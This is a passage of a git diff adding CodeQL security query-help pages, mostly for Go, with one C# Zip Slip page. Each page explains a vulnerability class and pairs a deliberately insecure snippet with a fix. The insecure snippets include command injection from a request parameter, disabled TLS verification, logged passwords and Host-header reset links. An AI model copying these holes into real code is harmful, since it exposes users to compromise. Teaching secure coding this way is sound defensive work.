Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ZipSlip.md b/docs/language/query-help/csharp/ZipSlip.md new file mode 100644 index 00000000000..e80bebde05e --- /dev/null +++ b/docs/language/query-help/csharp/ZipSlip.md @@ -0,0 +1,78 @@ +# Arbitrary file write during zip extraction ("Zip Slip") + +``` +ID: cs/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to: + +1. Use `Path.Combine(destinationDirectory, archiveEntry.FullName)` to determine the raw output path. +1. Use `Path.GetFullPath(..)` on the raw output path to resolve any directory traversal elements. +1. Use `Path.GetFullPath(destinationDirectory + Path.DirectorySeparatorChar)` to determine the fully resolved path of the destination directory. +1. Validate that the resolved output path `StartsWith` the resolved destination directory, aborting if this is not true. +Another alternative is to validate archive entries against a whitelist of expected files. + + +## Example +In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. + + +```csharp +using System.IO; +using System.IO.Compression; + +class Bad +{ + public static void WriteToDirectory(ZipArchiveEntry entry, + string destDirectory) + { + string destFileName = Path.Combine(destDirectory, entry.FullName); + entry.ExtractToFile(destFileName); + } +} + +``` +To fix this vulnerability, we need to make three changes. Firstly, we need to resolve any directory traversal or other special characters in the path by using `Path.GetFullPath`. Secondly, we need to identify the destination output directory, again using `Path.GetFullPath`, this time on the output directory. Finally, we need to ensure that the resolved output starts with the resolved destination directory, and throw an exception if this is not the case. + + +```csharp +using System.IO; +using System.IO.Compression; + +class Good +{ + public static void WriteToDirectory(ZipArchiveEntry entry, + string destDirectory) + { + string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName)); + string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar); + if (!destFileName.StartsWith(fullDestDirPath)) { + throw new System.InvalidOperationException("Entry is outside the target dir: " + + destFileName); + } + entry.ExtractToFile(destFileName); + } +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/go.rst b/docs/language/query-help/go.rst new file mode 100644 index 00000000000..6909b328443 --- /dev/null +++ b/docs/language/query-help/go.rst @@ -0,0 +1,4 @@ +Go query help +============= + +.. include:: toc-go.rst \ No newline at end of file diff --git a/docs/language/query-help/go/AllocationSizeOverflow.md b/docs/language/query-help/go/AllocationSizeOverflow.md new file mode 100644 index 00000000000..f24c939d540 --- /dev/null +++ b/docs/language/query-help/go/AllocationSizeOverflow.md @@ -0,0 +1,78 @@ +# Size computation for allocation may overflow + +``` +ID: go/allocation-size-overflow +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-190 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-190/AllocationSizeOverflow.ql) + +Performing calculations involving the size of potentially large strings or slices can result in an overflow (for signed integer types) or a wraparound (for unsigned types). An overflow causes the result of the calculation to become negative, while a wraparound results in a small (positive) number. + +This can cause further issues. If, for example, the result is then used in an allocation, it will cause a runtime panic if it is negative, and allocate an unexpectedly small buffer otherwise. + + +## Recommendation +Always guard against overflow in arithmetic operations involving potentially large numbers by doing one of the following: + +* Validate the size of the data from which the numbers are computed. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type. +* Use a wider type (such as `uint64` instead of `int`), so that larger input values do not cause overflow. + +## Example +In the following example, assume that there is a function `encryptBuffer` that encrypts byte slices whose length must be padded to be a multiple of 16. The function `encryptValue` provides a convenience wrapper around this function: when passed an arbitrary value, it first encodes that value as JSON, pads the resulting byte slice, and then passes it to `encryptBuffer`. + + +```go +package main + +import "encoding/json" + +func encryptValue(v interface{}) ([]byte, error) { + jsonData, err := json.Marshal(v) + if err != nil { + return nil, err + } + size := len(jsonData) + (len(jsonData) % 16) + buffer := make([]byte, size) + copy(buffer, jsonData) + return encryptBuffer(buffer) +} + +``` +When passed a value whose JSON encoding is close to the maximum value of type `int` in length, the computation of `size` will overflow, producing a negative value. When that negative value is passed to `make`, a runtime panic will occur. + +To guard against this, the function should be improved to check the length of the JSON-encoded value. For example, here is a version of `encryptValue` that ensures the value is no larger than 64 MB, which fits comfortably within an `int` and avoids the overflow: + + +```go +package main + +import ( + "encoding/json" + "errors" +) + +func encryptValueGood(v interface{}) ([]byte, error) { + jsonData, err := json.Marshal(v) + if err != nil { + return nil, err + } + if len(jsonData) > 64*1024*1024 { + return nil, errors.New("value too large") + } + size := len(jsonData) + (len(jsonData) % 16) + buffer := make([]byte, size) + copy(buffer, jsonData) + return encryptBuffer(buffer) +} + +``` + +## References +* The Go Programming Language Specification: [Integer overflow](https://golang.org/ref/spec#Integer_overflow). +* The Go Programming Language Specification: [Making slices, maps and channels](https://golang.org/ref/spec#Making_slices_maps_and_channels). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/go/BadRedirectCheck.md b/docs/language/query-help/go/BadRedirectCheck.md new file mode 100644 index 00000000000..82ae479ee64 --- /dev/null +++ b/docs/language/query-help/go/BadRedirectCheck.md @@ -0,0 +1,52 @@ +# Bad redirect check + +``` +ID: go/bad-redirect-check +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/BadRedirectCheck.ql) + +Redirect URLs should be checked to ensure that user input cannot cause a site to redirect to arbitrary domains. This is often done with a check that the redirect URL begins with a slash, which most of the time is an absolute redirect on the same host. However, browsers interpret URLs beginning with `//` or `/\` as absolute URLs. For example, a redirect to `//lgtm.com` will redirect to `https://lgtm.com`. Thus, redirect checks must also check the second character of redirect URLs. + + +## Recommendation +Also disallow redirect URLs starting with `//` or `/\`. + + +## Example +The following function validates a (presumably untrusted) redirect URL `redir`. If it does not begin with `/`, the harmless placeholder redirect URL `/` is returned to prevent an open redirect; otherwise `redir` itself is returned. + + +```go +package main + +func sanitizeUrl(redir string) string { + if len(redir) > 0 && redir[0] == '/' { + return redir + } + return "/" +} + +``` +While this check provides partial protection, it should be extended to cover `//` and `/\` as well: + + +```go +package main + +func sanitizeUrl1(redir string) string { + if len(redir) > 1 && redir[0] == '/' && redir[1] != '/' && redir[1] != '\\' { + return redir + } + return "/" +} + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#validating-urls). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CleartextLogging.md b/docs/language/query-help/go/CleartextLogging.md new file mode 100644 index 00000000000..8faed5d3082 --- /dev/null +++ b/docs/language/query-help/go/CleartextLogging.md @@ -0,0 +1,81 @@ +# Clear-text logging of sensitive information + +``` +ID: go/clear-text-logging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is logged unencrypted is accessible to an attacker who gains access to the logs. + + +## Recommendation +Ensure that sensitive information is always encrypted or obfuscated before being logged. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the standard out and standard error streams of the application, causing logged sensitive information to be stored. + + +## Example +The following example code logs user credentials (in this case, their password) in plain text: + + +```go +package main + +import ( + "log" + "net/http" +) + +func serve() { + http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + user := r.Form.Get("user") + pw := r.Form.Get("password") + + log.Printf("Registering new user %s with password %s.\n", user, pw) + }) + http.ListenAndServe(":80", nil) +} + +``` +Instead, the credentials should be encrypted, obfuscated, or omitted entirely: + + +```go +package main + +import ( + "log" + "net/http" +) + +func serve1() { + http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + user := r.Form.Get("user") + pw := r.Form.Get("password") + + log.Printf("Registering new user %s.\n", user) + + // ... + use(pw) + }) + http.ListenAndServe(":80", nil) +} + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* OWASP: [Password Plaintext Storage](https://www.owasp.org/index.php/Password_Plaintext_Storage). +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CommandInjection.md b/docs/language/query-help/go/CommandInjection.md new file mode 100644 index 00000000000..fb746dedd32 --- /dev/null +++ b/docs/language/query-help/go/CommandInjection.md @@ -0,0 +1,46 @@ +# Command built from user-controlled sources + +``` +ID: go/command-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-078/CommandInjection.ql) + +If a system command invocation is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands to exfiltrate data or compromise the system. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run. Instead of interpreting user input directly as command names, examine the input and then choose among hard-coded string literals. + +If this is not possible, then add sanitization code to verify that the user input is safe before using it. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: + + +```go +package main + +import ( + "net/http" + "os/exec" +) + +func handler(req *http.Request) { + cmdName := req.URL.Query()["cmd"][0] + cmd := exec.Command(cmdName) + cmd.Run() +} + +``` +The handler extracts the name of a system command from the request object, and then runs it without any further checks, which can cause a command-injection vulnerability. + + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ConstantOauth2State.md b/docs/language/query-help/go/ConstantOauth2State.md new file mode 100644 index 00000000000..b306636f7ec --- /dev/null +++ b/docs/language/query-help/go/ConstantOauth2State.md @@ -0,0 +1,96 @@ +# Use of constant `state` value in OAuth 2.0 URL + +``` +ID: go/constant-oauth2-state +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-352/ConstantOauth2State.ql) + +OAuth 2.0 clients must implement CSRF protection for the redirection URI, which is typically accomplished by including a "state" value that binds the request to the user's authenticated state. The Go OAuth 2.0 library allows you to specify a "state" value which is then included in the auth code URL. That state is then provided back by the remote authentication server in the redirect callback, from where it must be validated. Failure to do so makes the client susceptible to an CSRF attack. + + +## Recommendation +Always include a unique, non-guessable `state` value (provided to the call to `AuthCodeURL` function) that is also bound to the user's authenticated state with each authentication request, and then validated in the redirect callback. + + +## Example +The first example shows you the use of a constant state (bad). + + +```go +package main + +import ( + "golang.org/x/oauth2" +) + +func main() {} + +var stateStringVar = "state" + +func badWithStringLiteralState() { + conf := &oauth2.Config{ + ClientID: "YOUR_CLIENT_ID", + ClientSecret: "YOUR_CLIENT_SECRET", + Scopes: []string{"SCOPE1", "SCOPE2"}, + Endpoint: oauth2.Endpoint{ + AuthURL: "https://provider.com/o/oauth2/auth", + TokenURL: "https://provider.com/o/oauth2/token", + }, + } + + url := conf.AuthCodeURL(stateStringVar) + // ... +} + +``` +The second example shows a better implementation idea. + + +```go +package main + +import ( + "crypto/rand" + "encoding/base64" + "net/http" + + "golang.org/x/oauth2" +) + +func betterWithVariableStateReturned(w http.ResponseWriter) { + conf := &oauth2.Config{ + ClientID: "YOUR_CLIENT_ID", + ClientSecret: "YOUR_CLIENT_SECRET", + Scopes: []string{"SCOPE1", "SCOPE2"}, + Endpoint: oauth2.Endpoint{ + AuthURL: "https://provider.com/o/oauth2/auth", + TokenURL: "https://provider.com/o/oauth2/token", + }, + } + + state := generateStateOauthCookie(w) + url := conf.AuthCodeURL(state) + _ = url + // ... +} +func generateStateOauthCookie(w http.ResponseWriter) string { + b := make([]byte, 128) + rand.Read(b) + // TODO: save the state string to cookies or HTML storage, + // and bind it to the authenticated status of the user. + state := base64.URLEncoding.EncodeToString(b) + + return state +} + +``` + +## References +* IETF: [The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749#section-10.12) +* IETF: [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.1) +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/go/DisabledCertificateCheck.md b/docs/language/query-help/go/DisabledCertificateCheck.md new file mode 100644 index 00000000000..7cf1b127600 --- /dev/null +++ b/docs/language/query-help/go/DisabledCertificateCheck.md @@ -0,0 +1,48 @@ +# Disabled TLS certificate check + +``` +ID: go/disabled-certificate-check +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-295/DisabledCertificateCheck.ql) + +The field `InsecureSkipVerify` controls whether a TLS client verifies the server's certificate chain and host name. If set to `true`, the client will accept any certificate and any host name in that certificate, making it susceptible to man-in-the-middle attacks. + + +## Recommendation +Do not set `InsecureSkipVerify` to `true` except in tests. + + +## Example +The following code snippet shows a function that performs an HTTP request over TLS with certificate verification disabled: + + +```go +package main + +import ( + "crypto/tls" + "net/http" +) + +func doAuthReq(authReq *http.Request) *http.Response { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := &http.Client{Transport: tr} + res, _ := client.Do(authReq) + return res +} + +``` +While this is acceptable in a test, it should not be used in production code. Instead, certificates should be configured such that verification can be performed. + + +## References +* Package tls: [Config](https://golang.org/pkg/crypto/tls/#Config). +* SSL.com: [Browsers and Certificate Validation](https://www.ssl.com/article/browsers-and-certificate-validation/). +* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/go/EmailInjection.md b/docs/language/query-help/go/EmailInjection.md new file mode 100644 index 00000000000..80fe4ea33a4 --- /dev/null +++ b/docs/language/query-help/go/EmailInjection.md @@ -0,0 +1,66 @@ +# Email content injection + +``` +ID: go/email-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-640 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-640/EmailInjection.ql) + +Using untrusted input to construct an email can cause multiple security vulnerabilities. For instance, inclusion of an untrusted input in an email body may allow an attacker to conduct cross-site scripting (XSS) attacks, while inclusion of an HTTP header may allow a full account compromise as shown in the example below. + + +## Recommendation +Any data which is passed to an email subject or body must be sanitized before use. + + +## Example +In the following example snippet, the `host` field is user controlled. + +A malicious user can send an HTTP request to the targeted website, but with a Host header that refers to their own website. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious website. + +If the email contains a password reset link, and the victim clicks the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. + + +```go +package main + +import ( + "net/http" + "net/smtp" +) + +func mail(w http.ResponseWriter, r *http.Request) { + host := r.Header.Get("Host") + token := backend.getUserSecretResetToken(email) + body := "Click to reset password: " + host + "/" + token + smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) +} + +``` +One way to prevent this is to load the host name from a trusted configuration file instead. + + +```go +package main + +import ( + "net/http" + "net/smtp" +) + +func mailGood(w http.ResponseWriter, r *http.Request) { + host := config.Get("Host") + token := backend.getUserSecretResetToken(email) + body := "Click to reset password: " + host + "/" + token + smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) +} + +``` + +## References +* OWASP: [Content Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) . +* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/go/HardcodedCredentials.md b/docs/language/query-help/go/HardcodedCredentials.md new file mode 100644 index 00000000000..37dc470366d --- /dev/null +++ b/docs/language/query-help/go/HardcodedCredentials.md @@ -0,0 +1,56 @@ +# Hard-coded credentials + +``` +ID: go/hardcoded-credentials +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a Postgres database using the `lib/pq` package and hard-codes user name and password: + + +```go +package main + +import ( + "database/sql" + "fmt" + + _ "github.com/lib/pq" +) + +const ( + user = "dbuser" + password = "s3cretp4ssword" +) + +func connect() *sql.DB { + connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password) + db, err := sql.Open("postgres", connStr) + if err != nil { + return nil + } + return db +} + +``` +Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteHostnameRegexp.md b/docs/language/query-help/go/IncompleteHostnameRegexp.md new file mode 100644 index 00000000000..eb3e7d79ecd --- /dev/null +++ b/docs/language/query-help/go/IncompleteHostnameRegexp.md @@ -0,0 +1,75 @@ +# Incomplete regular expression for hostnames + +``` +ID: go/incomplete-hostname-regexp +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteHostnameRegexp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping regular-expression meta-characters such as `.`. + +Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behavior when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, paying special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect(req *http.Request, via []*http.Request) error { + // BAD: the host of `req.URL` may be controlled by an attacker + re := "^((www|beta).)?example.com/" + if matched, _ := regexp.MatchString(re, req.URL.Host); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +Address this vulnerability by escaping `.` appropriately: + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirectGood(req *http.Request, via []*http.Request) error { + // GOOD: the host of `req.URL` must be `example.com`, `www.example.com` or `beta.example.com` + re := "^((www|beta)\\.)?example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.Host); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md new file mode 100644 index 00000000000..c2c45b418fe --- /dev/null +++ b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md @@ -0,0 +1,60 @@ +# Incomplete URL scheme check + +``` +ID: go/incomplete-url-scheme-check +Kind: problem +Severity: warning +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) + +URLs with the special scheme `javascript` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript` scheme. + +However, the `data` and `vbscript` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript`, but not against `data` and `vbscript`, is likely to be insufficient. + + +## Recommendation +Add checks covering both `data:` and `vbscript:`. + + +## Example +The following function validates a (presumably untrusted) URL `urlstr`. If its scheme is `javascript`, the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `urlstr` itself is returned. + + +```go +package main + +import "net/url" + +func sanitizeUrl(urlstr string) string { + u, err := url.Parse(urlstr) + if err != nil || u.Scheme == "javascript" { + return "about:blank" + } + return urlstr +} + +``` +While this check provides partial projection, it should be extended to cover `data` and `vbscript` as well: + + +```go +package main + +import "net/url" + +func sanitizeUrlGod(urlstr string) string { + u, err := url.Parse(urlstr) + if err != nil || u.Scheme == "javascript" || u.Scheme == "data" || u.Scheme == "vbscript" { + return "about:blank" + } + return urlstr +} + +``` + +## References +* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncorrectIntegerConversion.md b/docs/language/query-help/go/IncorrectIntegerConversion.md new file mode 100644 index 00000000000..afde852498a --- /dev/null +++ b/docs/language/query-help/go/IncorrectIntegerConversion.md @@ -0,0 +1,207 @@ +# Incorrect conversion between integer types + +``` +ID: go/incorrect-integer-conversion +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-190 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-681/IncorrectIntegerConversion.ql) + +If a string is parsed into an int using `strconv.Atoi`, and subsequently that int is converted into another integer type of a smaller size, the result can produce unexpected values. + +This also applies to the results of `strconv.ParseInt` and `strconv.ParseUint` when the specified size is larger than the size of the type that number is converted to. + + +## Recommendation +If you need to parse integer values with specific bit sizes, avoid `strconv.Atoi`, and instead use `strconv.ParseInt` or `strconv.ParseUint`, which also allow specifying the bit size. + +When using those functions, be careful to not convert the result to another type with a smaller bit size than the bit size you specified when parsing the number. + +If this is not possible, then add upper (and lower) bound checks specific to each type and bit size (you can find the minimum and maximum value for each type in the `math` package). + + +## Example +In the first example, assume that an input string is passed to `parseAllocateBad1` function, parsed by `strconv.Atoi`, and then converted into an `int32` type: + + +```go +package main + +import ( + "strconv" +) + +func parseAllocateBad1(wanted string) int32 { + parsed, err := strconv.Atoi(wanted) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateBad2(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + return int32(parsed) +} + +``` +The bounds are not checked, so this means that if the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. + +To avoid unexpected values, you should either use the other functions provided by the `strconv` package to parse the specific types and bit sizes as shown in the `parseAllocateGood2` function; or check bounds as in the `parseAllocateGood1` function. + + +```go +package main + +import ( + "math" + "strconv" +) + +func main() { + +} + +const DefaultAllocate int32 = 256 + +func parseAllocateGood1(desired string) int32 { + parsed, err := strconv.Atoi(desired) + if err != nil { + return DefaultAllocate + } + // GOOD: check for lower and upper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} +func parseAllocateGood2(desired string) int32 { + // GOOD: parse specifying the bit size + parsed, err := strconv.ParseInt(desired, 10, 32) + if err != nil { + return DefaultAllocate + } + return int32(parsed) +} + +func parseAllocateGood3(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 32) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateGood4(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + // GOOD: check for lower and uppper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} + +``` + +## Example +In the second example, assume that an input string is passed to `parseAllocateBad2` function, parsed by `strconv.ParseInt` with a bit size set to 64, and then converted into an `int32` type: + + +```go +package main + +import ( + "strconv" +) + +func parseAllocateBad1(wanted string) int32 { + parsed, err := strconv.Atoi(wanted) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateBad2(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + return int32(parsed) +} + +``` +If the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. + +To avoid unexpected values, you should specify the correct bit size as in `parseAllocateGood3`; or check bounds before making the conversion as in `parseAllocateGood4`. + + +```go +package main + +import ( + "math" + "strconv" +) + +func main() { + +} + +const DefaultAllocate int32 = 256 + +func parseAllocateGood1(desired string) int32 { + parsed, err := strconv.Atoi(desired) + if err != nil { + return DefaultAllocate + } + // GOOD: check for lower and upper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} +func parseAllocateGood2(desired string) int32 { + // GOOD: parse specifying the bit size + parsed, err := strconv.ParseInt(desired, 10, 32) + if err != nil { + return DefaultAllocate + } + return int32(parsed) +} + +func parseAllocateGood3(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 32) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateGood4(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + // GOOD: check for lower and uppper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} + +``` + +## References +* Wikipedia [Integer overflow](https://en.wikipedia.org/wiki/Integer_overflow). +* Go language specification [Integer overflow](https://golang.org/ref/spec#Integer_overflow). +* Documentation for [strconv.Atoi](https://golang.org/pkg/strconv/#Atoi). +* Documentation for [strconv.ParseInt](https://golang.org/pkg/strconv/#ParseInt). +* Documentation for [strconv.ParseUint](https://golang.org/pkg/strconv/#ParseUint). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureHostKeyCallback.md b/docs/language/query-help/go/InsecureHostKeyCallback.md new file mode 100644 index 00000000000..24e639c77b6 --- /dev/null +++ b/docs/language/query-help/go/InsecureHostKeyCallback.md @@ -0,0 +1,87 @@ +# Use of insecure HostKeyCallback implementation + +``` +ID: go/insecure-hostkeycallback +Kind: path-problem +Severity: warning +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-322/InsecureHostKeyCallback.ql) + +The `ClientConfig` specifying the configuration for establishing a SSH connection has a field 